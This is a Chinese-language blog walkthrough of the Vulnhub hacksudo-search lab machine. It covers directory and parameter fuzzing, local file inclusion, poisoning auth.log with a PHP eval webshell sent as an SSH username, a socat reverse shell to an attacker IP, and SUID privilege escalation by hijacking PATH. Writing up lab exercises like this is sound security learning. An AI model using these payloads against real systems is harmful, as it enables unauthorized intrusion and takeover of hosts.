Vulnhub hacksudo-search walkthrough


Vulnhub hacksudo-search Walkthrough

前言

这个系列又快要结束了,感觉过得好快,学到了一些东西,又好像是什么也没有学到。好纠结,衣带渐宽终不悔,为伊消得人憔悴。痛并快乐着。废话不多说,这个靶场的知识点还是挺多的:

  • Enumeration
  • LFI
  • RFI
  • Privilege Escalation via PATH abuse & SUID.

也不是很多是吧,直接开始正题了。

信息收集

IP信息 端口信息

都是一些常规的端口,单纯的看并不能有什么敏感信息。

HTTP 扫描

首页 跳转

gobuster

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.0.10 -x txt,php | grep 403 -v

/images (Status: 301) [Size: 307] [—> http://10.0.0.10/images/]
/index.php (Status: 200) [Size: 715]
/submit.php (Status: 200) [Size: 165]
/search.php (Status: 200) [Size: 165]
/assets (Status: 301) [Size: 307] [—> http://10.0.0.10/assets/]
/account (Status: 301) [Size: 308] [—> http://10.0.0.10/account/]
/javascript (Status: 301) [Size: 311] [—> http://10.0.0.10/javascript/]
/robots.txt (Status: 200) [Size: 75]
/LICENSE (Status: 200) [Size: 1074]
/search1.php (Status: 200) [Size: 2918]
/crawler.php (Status: 500) [Size: 0]

其中这个 search1.php 有点奇特,你说为什么会有两个搜索的文件,先去访问一下试试水。发现在这个是作者留下的提示啊,我真机智。在源码模式中可以看见:

FUZZ

如此直白的请求我进行模糊测试,那我就只好迎战了。开始战斗吧少年!!!主要是当你的鼠标移动到 Contact 界面的时候直接会出现提示,连格式都构造好了,真好。

wfuzz -c -w /usr/share/wfuzz/wordlist/general/big.txt -u 'http://10.0.0.10/search1.php?FUZZ=contact.php' --hl 137

文件包含

尝试包含 /eyc/passwd 看一下系统中有哪些用户。

一句话木马

发现可以包含系统的 auth.log ,那简直爽翻天啊。我构造了一个一句话木马进去,使用中国蚁剑连上了。

ssh '<?php @eval($_POST['shell']); ?>'@10.0.0.10

反弹 shell

已经测试过了,这个 nc 是连不上的, bash 那个也连不上,最后我用了 socat 连上了。socat tcp-connect:10.0.0.5:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane

登陆 SSH

但是这个密码并不能登陆数据库,真坑啊,幸亏我见多识广,知道这个可能是能够远程登录的密码,经过测试,一共四个用户 hacksudo john monali search,只有 hacksudo 是可以登陆的,其他的都不行。

运行脚本

提权

一共有两种提权方式。第一种就是这 CVE-2021-4034 还是老样子,作者的每一个靶机都有这个漏洞,感觉很是无语。

CVE-2021-4034

第二种 SUID

这一种呢就是利用上面的咱们扫描扫出来的这个具有 suid 的可执行文件,你看他都是红色的。简单查看一下源文件,发现这个是最后执行了一个 system 函数调用了 install ,所以我构造了一个 install 并写入了一段内容,但是为了防止执行的时候找不到这个文件,所以我将当前路径加入了环境变量,并给与了 install 最高的权限。最终提权成功。


文章作者: Justice
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Justice !
  目录